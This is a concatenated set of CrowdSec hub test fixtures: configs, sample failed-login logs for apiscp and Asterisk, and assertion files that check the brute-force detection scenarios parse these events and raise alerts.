./parsers/s02-enrich/crowdsecurity/dateparse-enrich.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/http-apiscp-bf.yaml postoverflows: - "" log_file: apiscp-bf.log log_type: apache2 labels: {} ignore_parsers: true override_statics: [] hub1/.tests/apiscp-bf/parser.assert000066400000000000000000000000001437532772500175250ustar00rootroot00000000000000hub1/.tests/apiscp-bf/scenario.assert000066400000000000000000000125261437532772500200540ustar00rootroot00000000000000len(results) == 1 "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "apiscp-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/apps/login" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-07-12T11:45:00-04:00" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "apiscp-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("http_path") == "/apps/login" results[0].Overflow.Alert.Events[1].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[1].GetMeta("http_user_agent") == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" results[0].Overflow.Alert.Events[1].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-07-12T11:45:01-04:00" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "apiscp-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("http_path") == "/apps/login" results[0].Overflow.Alert.Events[2].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[2].GetMeta("http_user_agent") == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" results[0].Overflow.Alert.Events[2].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[2].GetMeta("service") == "http" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-07-12T11:45:01-04:00" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "apiscp-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("http_path") == "/apps/login" results[0].Overflow.Alert.Events[3].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[3].GetMeta("http_user_agent") == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" results[0].Overflow.Alert.Events[3].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[3].GetMeta("service") == "http" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-07-12T11:45:02-04:00" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "apiscp-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("http_path") == "/apps/login" results[0].Overflow.Alert.Events[4].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[4].GetMeta("http_user_agent") == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" results[0].Overflow.Alert.Events[4].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[4].GetMeta("service") == "http" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-07-12T11:45:02-04:00" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "apiscp-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("http_path") == "/apps/login" results[0].Overflow.Alert.Events[5].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[5].GetMeta("http_user_agent") == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" results[0].Overflow.Alert.Events[5].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[5].GetMeta("service") == "http" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-07-12T11:45:02-04:00" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-apiscp-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6hub1/.tests/asterisk-bf/000077500000000000000000000000001437532772500153665ustar00rootroot00000000000000hub1/.tests/asterisk-bf/asterisk-bf.log000066400000000000000000000057041437532772500203110ustar00rootroot00000000000000[Dec 21 12:57:01] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent="ChallengeResponseFailed",EventTV="2021-12-21T12:57:01.209+0000",Severity="Error",Service="PJSIP",EventVersion="1",AccountID="6001",SessionID="2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX",LocalAddress="IPV4/UDP/172.17.0.2/5060",RemoteAddress="IPV4/UDP/172.17.0.1/54784",Challenge="1640091422/edc27724b23967f2cb58e348c4e578eb",Response="3b0bbeda2ac7623e8f39fd45cacd9ca0",ExpectedResponse="" [Dec 21 12:57:01] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent="ChallengeResponseFailed",EventTV="2021-12-21T12:57:01.209+0000",Severity="Error",Service="PJSIP",EventVersion="1",AccountID="6001",SessionID="2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX",LocalAddress="IPV4/UDP/172.17.0.2/5060",RemoteAddress="IPV4/UDP/172.17.0.1/54784",Challenge="1640091422/edc27724b23967f2cb58e348c4e578eb",Response="3b0bbeda2ac7623e8f39fd45cacd9ca0",ExpectedResponse="" [Dec 21 12:57:02] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent="ChallengeResponseFailed",EventTV="2021-12-21T12:57:01.209+0000",Severity="Error",Service="PJSIP",EventVersion="1",AccountID="6001",SessionID="2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX",LocalAddress="IPV4/UDP/172.17.0.2/5060",RemoteAddress="IPV4/UDP/172.17.0.1/54784",Challenge="1640091422/edc27724b23967f2cb58e348c4e578eb",Response="3b0bbeda2ac7623e8f39fd45cacd9ca0",ExpectedResponse="" [Dec 21 12:57:03] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent="ChallengeResponseFailed",EventTV="2021-12-21T12:57:01.209+0000",Severity="Error",Service="PJSIP",EventVersion="1",AccountID="6001",SessionID="2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX",LocalAddress="IPV4/UDP/172.17.0.2/5060",RemoteAddress="IPV4/UDP/172.17.0.1/54784",Challenge="1640091422/edc27724b23967f2cb58e348c4e578eb",Response="3b0bbeda2ac7623e8f39fd45cacd9ca0",ExpectedResponse="" [Dec 21 12:57:04] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent="ChallengeResponseFailed",EventTV="2021-12-21T12:57:01.209+0000",Severity="Error",Service="PJSIP",EventVersion="1",AccountID="6001",SessionID="2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX",LocalAddress="IPV4/UDP/172.17.0.2/5060",RemoteAddress="IPV4/UDP/172.17.0.1/54784",Challenge="1640091422/edc27724b23967f2cb58e348c4e578eb",Response="3b0bbeda2ac7623e8f39fd45cacd9ca0",ExpectedResponse="" [Dec 21 12:57:04] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent="ChallengeResponseFailed",EventTV="2021-12-21T12:57:01.209+0000",Severity="Error",Service="PJSIP",EventVersion="1",AccountID="6001",SessionID="2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX",LocalAddress="IPV4/UDP/172.17.0.2/5060",RemoteAddress="IPV4/UDP/172.17.0.1/54784",Challenge="1640091422/edc27724b23967f2cb58e348c4e578eb",Response="3b0bbeda2ac7623e8f39fd45cacd9ca0",ExpectedResponse="" hub1/.tests/asterisk-bf/config.yaml000066400000000000000000000004261437532772500175210ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/asterisk-logs.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/asterisk_bf.yaml postoverflows: - "" log_file: asterisk-bf.log log_type: asterisk labels: {} ignore_parsers: true hub1/.tests/asterisk-bf/parser.assert000066400000000000000000000000001437532772500200730ustar00rootroot00000000000000hub1/.tests/asterisk-bf/scenario.assert000066400000000000000000000104231437532772500204140ustar00rootroot00000000000000len(results) == 1 "172.17.0.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["172.17.0.1"].IP == "172.17.0.1" results[0].Overflow.Sources["172.17.0.1"].Range == "" results[0].Overflow.Sources["172.17.0.1"].GetScope() == "Ip" results[0].Overflow.Sources["172.17.0.1"].GetValue() == "172.17.0.1" results[0].Overflow.Alert.Events[0].GetMeta("asterisk_service") == "PJSIP" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "asterisk-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "asterisk_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "asterisk" results[0].Overflow.Alert.Events[0].GetMeta("session_id") == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[0].GetMeta("target_user") == "6001" results[0].Overflow.Alert.Events[1].GetMeta("asterisk_service") == "PJSIP" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "asterisk-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "asterisk_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "asterisk" results[0].Overflow.Alert.Events[1].GetMeta("session_id") == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[1].GetMeta("target_user") == "6001" results[0].Overflow.Alert.Events[2].GetMeta("asterisk_service") == "PJSIP" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "asterisk-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "asterisk_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "asterisk" results[0].Overflow.Alert.Events[2].GetMeta("session_id") == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[2].GetMeta("target_user") == "6001" results[0].Overflow.Alert.Events[3].GetMeta("asterisk_service") == "PJSIP" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "asterisk-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "asterisk_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("service") == "asterisk" results[0].Overflow.Alert.Events[3].GetMeta("session_id") == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[3].GetMeta("target_user") == "6001" results[0].Overflow.Alert.Events[4].GetMeta("asterisk_service") == "PJSIP" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "asterisk-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "asterisk_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("service") == "asterisk" results[0].Overflow.Alert.Events[4].GetMeta("session_id") == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[4].GetMeta("target_user") == "6001" results[0].Overflow.Alert.Events[5].GetMeta("asterisk_service") == "PJSIP" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "asterisk-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "asterisk_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("service") == "asterisk" results[0].Overflow.Alert.Events[5].GetMeta("session_id") == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[5].GetMeta("target_user") == "6001" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/asterisk_bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/asterisk-logs/000077500000000000000000000000001437532772500157435ustar00rootroot00000000000000hub1/.tests/asterisk-logs/asterisk-logs.log000066400000000000000000000023711437532772500212400ustar00rootroot00000000000000[Dec 21 12:56:59] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent="InvalidAccountID",EventTV="2021-12-21T12:56:59.192+0000",Severity="Error",Service="PJSIP",EventVersion="1",AccountID="6001",SessionID="2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX",LocalAddress="IPV4/UDP/172.17.0.2/5060",RemoteAddress="IPV4/UDP/172.17.0.1/55287" [Dec 21 12:57:00] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent="ChallengeResponseFailed",EventTV="2021-12-21T12:57:00.209+0000",Severity="Error",Service="PJSIP",EventVersion="1",AccountID="6001",SessionID="2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX",LocalAddress="IPV4/UDP/172.17.0.2/5060",RemoteAddress="IPV4/UDP/172.17.0.1/54784",Challenge="1640091422/edc27724b23967f2cb58e348c4e578eb",Response="3b0bbeda2ac7623e8f39fd45cacd9ca0",ExpectedResponse="" [Mar 6 08:44:27] SECURITY[1310] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2022-03-06T08:44:27.151+1100",Severity="Error",Service="SIP",EventVersion="2",AccountID="6001",SessionID="0x7fa52803a000",LocalAddress="IPV4/UDP/172.17.0.2/5060",RemoteAddress="IPV4/UDP/172.17.0.1/56433",Challenge="62790d2c",ReceivedChallenge="62790d2c",ReceivedHash="c3b9d05b8f36265eb89edee60aad693a" hub1/.tests/asterisk-logs/config.yaml000066400000000000000000000003611437532772500200740ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/asterisk-logs.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: asterisk-logs.log log_type: asterisk labels: {} ignore_parsers: false hub1/.tests/asterisk-logs/parser.assert000066400000000000000000000430741437532772500204720ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 3 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "[Dec 21 12:56:59] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent=\"InvalidAccountID\",EventTV=\"2021-12-21T12:56:59.192+0000\",Severity=\"Error\",Service=\"PJSIP\",EventVersion=\"1\",AccountID=\"6001\",SessionID=\"2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX\",LocalAddress=\"IPV4/UDP/172.17.0.2/5060\",RemoteAddress=\"IPV4/UDP/172.17.0.1/55287\"" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "asterisk" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "asterisk-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "[Dec 21 12:57:00] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent=\"ChallengeResponseFailed\",EventTV=\"2021-12-21T12:57:00.209+0000\",Severity=\"Error\",Service=\"PJSIP\",EventVersion=\"1\",AccountID=\"6001\",SessionID=\"2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX\",LocalAddress=\"IPV4/UDP/172.17.0.2/5060\",RemoteAddress=\"IPV4/UDP/172.17.0.1/54784\",Challenge=\"1640091422/edc27724b23967f2cb58e348c4e578eb\",Response=\"3b0bbeda2ac7623e8f39fd45cacd9ca0\",ExpectedResponse=\"\"" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "asterisk" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "asterisk-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == '[Mar 6 08:44:27] SECURITY[1310] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2022-03-06T08:44:27.151+1100",Severity="Error",Service="SIP",EventVersion="2",AccountID="6001",SessionID="0x7fa52803a000",LocalAddress="IPV4/UDP/172.17.0.2/5060",RemoteAddress="IPV4/UDP/172.17.0.1/56433",Challenge="62790d2c",ReceivedChallenge="62790d2c",ReceivedHash="c3b9d05b8f36265eb89edee60aad693a"' results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "asterisk" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "asterisk-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 3 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false len(results["s01-parse"]["crowdsecurity/asterisk-logs"]) == 3 results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Success == true results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Evt.Parsed["message"] == "[Dec 21 12:56:59] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent=\"InvalidAccountID\",EventTV=\"2021-12-21T12:56:59.192+0000\",Severity=\"Error\",Service=\"PJSIP\",EventVersion=\"1\",AccountID=\"6001\",SessionID=\"2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX\",LocalAddress=\"IPV4/UDP/172.17.0.2/5060\",RemoteAddress=\"IPV4/UDP/172.17.0.1/55287\"" results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Evt.Parsed["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Evt.Parsed["target_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Evt.Parsed["program"] == "asterisk" results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Evt.Parsed["source_port"] == "55287" results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Evt.Parsed["target_port"] == "5060" results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Evt.Parsed["timestamp"] == "Dec 21 12:56:59" results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Evt.Parsed["username"] == "6001" results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Evt.Parsed["asterisk_service"] == "PJSIP" results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Evt.Parsed["asterisk_session_id"] == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Evt.Parsed["event_timestamp"][4:] == "-12-21T12:56:59.192+0000" results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Evt.Meta["target_user"] == "6001" results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Evt.Meta["asterisk_service"] == "PJSIP" results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Evt.Meta["datasource_path"] == "asterisk-logs.log" results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Evt.Meta["log_type"] == "asterisk_failed_auth" results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Evt.Meta["service"] == "asterisk" results["s01-parse"]["crowdsecurity/asterisk-logs"][0].Evt.Meta["session_id"] == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Success == true results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Evt.Parsed["username"] == "6001" results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Evt.Parsed["asterisk_session_id"] == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Evt.Parsed["program"] == "asterisk" results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Evt.Parsed["timestamp"] == "Dec 21 12:57:00" results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Evt.Parsed["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Evt.Parsed["source_port"] == "54784" results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Evt.Parsed["target_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Evt.Parsed["target_port"] == "5060" results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Evt.Parsed["asterisk_service"] == "PJSIP" results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Evt.Parsed["event_timestamp"][4:] == "-12-21T12:57:00.209+0000" results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Evt.Parsed["message"] == "[Dec 21 12:57:00] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent=\"ChallengeResponseFailed\",EventTV=\"2021-12-21T12:57:00.209+0000\",Severity=\"Error\",Service=\"PJSIP\",EventVersion=\"1\",AccountID=\"6001\",SessionID=\"2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX\",LocalAddress=\"IPV4/UDP/172.17.0.2/5060\",RemoteAddress=\"IPV4/UDP/172.17.0.1/54784\",Challenge=\"1640091422/edc27724b23967f2cb58e348c4e578eb\",Response=\"3b0bbeda2ac7623e8f39fd45cacd9ca0\",ExpectedResponse=\"\"" results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Evt.Meta["target_user"] == "6001" results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Evt.Meta["asterisk_service"] == "PJSIP" results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Evt.Meta["datasource_path"] == "asterisk-logs.log" results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Evt.Meta["log_type"] == "asterisk_failed_auth" results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Evt.Meta["service"] == "asterisk" results["s01-parse"]["crowdsecurity/asterisk-logs"][1].Evt.Meta["session_id"] == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Success == true results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Evt.Parsed["username"] == "6001" results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Evt.Parsed["asterisk_session_id"] == "0x7fa52803a000" results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Evt.Parsed["program"] == "asterisk" results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Evt.Parsed["timestamp"] == "Mar 6 08:44:27" results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Evt.Parsed["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Evt.Parsed["source_port"] == "56433" results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Evt.Parsed["target_ip"] == "172.17.0.2" results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Evt.Parsed["target_port"] == "5060" results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Evt.Parsed["asterisk_service"] == "SIP" results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Evt.Parsed["event_timestamp"][4:] == "-03-06T08:44:27.151+1100" results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Evt.Parsed["message"] == '[Mar 6 08:44:27] SECURITY[1310] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2022-03-06T08:44:27.151+1100",Severity="Error",Service="SIP",EventVersion="2",AccountID="6001",SessionID="0x7fa52803a000",LocalAddress="IPV4/UDP/172.17.0.2/5060",RemoteAddress="IPV4/UDP/172.17.0.1/56433",Challenge="62790d2c",ReceivedChallenge="62790d2c",ReceivedHash="c3b9d05b8f36265eb89edee60aad693a"' results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Evt.Meta["target_user"] == "6001" results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Evt.Meta["asterisk_service"] == "SIP" results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Evt.Meta["datasource_path"] == "asterisk-logs.log" results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Evt.Meta["log_type"] == "asterisk_failed_auth" results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Evt.Meta["service"] == "asterisk" results["s01-parse"]["crowdsecurity/asterisk-logs"][2].Evt.Meta["session_id"] == "0x7fa52803a000" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 3 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_port"] == "55287" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["target_ip"] == "172.17.0.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["username"] == "6001" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["asterisk_service"] == "PJSIP" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["asterisk_session_id"] == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["event_timestamp"][4:] == "-12-21T12:56:59.192+0000" 